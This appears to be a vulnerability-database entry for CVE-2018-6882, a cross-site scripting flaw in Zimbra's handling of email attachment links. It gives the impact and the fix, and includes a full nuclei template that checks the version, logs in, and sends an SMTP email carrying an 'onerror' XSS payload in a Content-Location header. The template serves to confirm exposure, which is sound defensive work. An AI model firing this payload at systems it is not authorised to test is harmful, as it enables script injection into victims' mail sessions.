HexBrain

Browse / CVEs / CVE-2018-6882

CVE-2018-6882· zimbra / collaboration server· CWE-79

Zimbra Collaboration Suite - Cross-site Scripting

Exploited in the wild. Listed by CISA on 2022-04-19; known to be used by ransomware.

mediumseverity
6.8CVSS score
29.8%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

Cross-site scripting (XSS) vulnerability in the ZmMailMsgView.getAttachmentLinkHtml function in Zimbra Collaboration Suite (ZCS) before 8.7 Patch 1 and 8.8.x before 8.8.7 might allow remote attackers to inject arbitrary web script or HTML via a Content-Location header in an email attachment.

Impact

Attackers can execute arbitrary JavaScript in victims' browsers via malicious email attachments, potentially stealing session cookies, credentials, or accessing sensitive email data.

Fix

Upgrade to Zimbra Collaboration Suite version 8.7 Patch 1 or 8.8.7 or later.

How to confirm it

Send: GET /js/zimbraMail/share/model/ZmSettings.js
Positive when: matches /CLIENT_VERSION",\s*\{[^}]*defaultValue:"(?:8\.7\.(?:0|5|11)|8\.8\.(?:0|6))(?:_G…/ AND status_code == 200 and contains(body, "Zimbra Collaboration Suite")
Send: POST /
Send: POST /service/soap/SearchConvRequest
Positive when: status_code == 200 and contains(body, "onerror=alert(document.domain)") and contains(content_type, "text/javascript")
Send: tcp probe to {{Hostname}}

Run it with nuclei: nuclei -id CVE-2018-6882 -u <target>

The full check
id: CVE-2018-6882

info:
  name: Zimbra Collaboration Suite - Cross-site Scripting
  author: Sourabh-Sahu
  severity: medium
  description: |
    Cross-site scripting (XSS) vulnerability in the ZmMailMsgView.getAttachmentLinkHtml function in Zimbra Collaboration Suite (ZCS) before 8.7 Patch 1 and 8.8.x before 8.8.7 might allow remote attackers to inject arbitrary web script or HTML via a Content-Location header in an email attachment.
  impact: |
    Attackers can execute arbitrary JavaScript in victims' browsers via malicious email attachments, potentially stealing session cookies, credentials, or accessing sensitive email data.
  remediation: |
    Upgrade to Zimbra Collaboration Suite version 8.7 Patch 1 or 8.8.7 or later.
  reference:
    - https://www.securify.nl/advisory/SFY20180101/cross-site-scripting-vulnerability-in-zimbra-collaboration-suite-due-to-the-way-it-handles-attachment-links.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-6882
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.8
    cve-id: CVE-2018-6882
    epss-score: 0.29761
    epss-percentile: 0.98213
    cwe-id: CWE-79
    cpe: cpe:2.3:a:synacor:zimbra_collaboration_suite:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: zimbra
    product: collaboration_server
  tags: cve,cve2018,smtp,zimbra,collaboration-server,intrusive,xss,kev,vkev,vuln

flow: http(1) && tcp(1) && http(2) && http(3)

variables:
  mail: "{{mail}}"
  pass: "{{pass}}"
  user: "{{user}}"
  base: "{{interactsh-url}}"

http:
  - raw:
      - |
        GET /js/zimbraMail/share/model/ZmSettings.js HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        name: version
        regex:
          - 'CLIENT_VERSION",\s*\{[^}]*defaultValue:"(?:8\.7\.(?:0|5|11)|8\.8\.(?:0|6))(?:_GA_[0-9]+)?"'
        part: body
        internal: true

      - type: dsl
        name: zimbra-detect
        condition: and
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Zimbra Collaboration Suite")'
        internal: true

  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: ZM_TEST=true

        loginOp=login&username={{user}}&password={{pass}}&client=preferred

    redirects: true
    extractors:
      - type: regex
        name: csrf
        part: body
        regex:
          - 'window\.csrfToken\s*=\s*"([^"]+)"'
        internal: true
        group: 1

      - type: regex
        name: session
        part: body
        regex:
          - '"session":\s*\{"id":"([0-9]+)"'
        internal: true
        group: 1
    cookie-reuse: true

  - raw:
      - |
        POST /service/soap/SearchConvRequest HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/soap+xml; charset=UTF-8
        X-Zimbra-Csrf-Token: {{csrf}}

        {"Header":{"context":{"_jsns":"urn:zimbra","userAgent":{"name":"ZimbraWebClient - FF128 (Linux)","version":"8.7.11_GA_1854"},"session":{"_content":"{{session}}","id":{{session}}},"account":{"_content":"{{mail}}","by":"name"},"csrfToken":"{{csrf}}"}},"Body":{"SearchConvRequest":{"_jsns":"urn:zimbraMail","sortBy":"dateDesc","header":[{"n":"List-ID"},{"n":"X-Zimbra-DL"},{"n":"IN-REPLY-TO"}],"tz":{"id":"Asia/Kolkata"},"locale":{"_content":"en_US"},"offset":0,"limit":250,"query":"in:inbox","cid":"-257","fetch":"u!","html":1,"needExp":1,"max":250000,"recip":"2"}}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "onerror=alert(document.domain)")'
          - 'contains(content_type, "text/javascript")'
        condition: and

tcp:
  - host:
      - "{{Hostname}}"
    port: 25

    inputs:
      - read: 1024

      - data: "EHLO {{base}}\r\n"
        read: 1024

      - data: "MAIL FROM:<{{mail}}>\r\n"
        read: 1024

      - data: "RCPT TO:<{{mail}}>\r\n"
        read: 1024

      - data: "DATA\r\n"
        read: 1024

      - data: |
          From: {{mail}}
          To: {{mail}}
          Subject: Test Subject
          MIME-Version: 1.0
          Content-Type: multipart/mixed; boundary="BOUNDARY_12345"

          --BOUNDARY_12345
          Content-Type: text/plain; charset="utf-8"

          Check the attachment

          --BOUNDARY_12345
          Content-Type: text/plain; name="attachment.txt"
          Content-Transfer-Encoding: base64
          Content-Disposition: attachment; filename="attachment.txt"
          Content-Location: http://foo.bar'></a><img src=a onerror=alert(document.domain)>

          YXR0YWNobWVudAo=
          --BOUNDARY_12345--
          .
        read: 1024

      - data: "QUIT\r\n"
        read: 1024

References

Use this check only on systems you are authorised to test. Where the data comes from